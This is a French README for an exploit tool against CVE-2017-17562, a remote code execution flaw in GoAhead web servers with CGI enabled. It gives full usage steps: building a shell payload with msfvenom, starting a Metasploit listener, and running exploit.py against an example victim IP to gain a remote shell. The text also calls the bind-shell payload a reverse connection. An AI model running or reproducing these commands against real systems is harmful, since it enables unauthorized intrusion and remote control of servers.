
Exploit pour la vulnérabilité CVE-2017-17562, qui permet l'exécution de code à distance (RCE) sur GoAhead (< v3.6.5) si le CGI est activé et qu'un programme CGI est lié dynamiquement.
Exploit pour la vulnérabilité CVE-2017-17562, qui permet une RCE sur GoAhead (< v3.6.5) si le CGI est activé et qu'un programme CGI est lié dynamiquement.
$ python3 exploit.py [-h] --host HOST --port PORT --payload PAYLOAD [--ssl] [--cgi CGI]
$ python3 -m pip install -r requirements.txt
Vous devez d'abord générer la charge utile et configurer la connexion d'écoute.
Exemple :
(Attaquant : 192.168.1.100 - Victime : 192.168.1.200)
$ msfvenom -a x64 --platform Linux -p generic/shell_bind_tcp LHOST=192.168.1.100 LPORT=1337 -f elf-so -o payload.so
$ msfconsole
msf6 > use multi/handler
msf6 exploit(multi/handler) > set payload generic/shell_bind_tcp
msf6 exploit(multi/handler) > set LPORT=1337
msf6 exploit(multi/handler) > set RHOST=192.168.1.200
msf6 exploit(multi/handler) > run
[*] Started bind TCP handler against 192.168.1.200:1337
Ensuite, dans un autre shell, vous devez exécuter cet exploit pour envoyer la charge utile qui établira la connexion inverse vers le listener !
Required arguments:
--host HOST Host running the GoAhead webserver.
--port PORT Port running the GoAhead webserver. Default: 80
--payload PAYLOAD Path to the payload.
Optional arguments:
--ssl Host is using SSL.
--cgi LIST Paths list to discover the CGI script on the GoAhead server. Default: paths.lst
$ python3 exploit.py --host 192.168.1.200 --port 8080 --cgi custom_list.txt --payload payload.so --ssl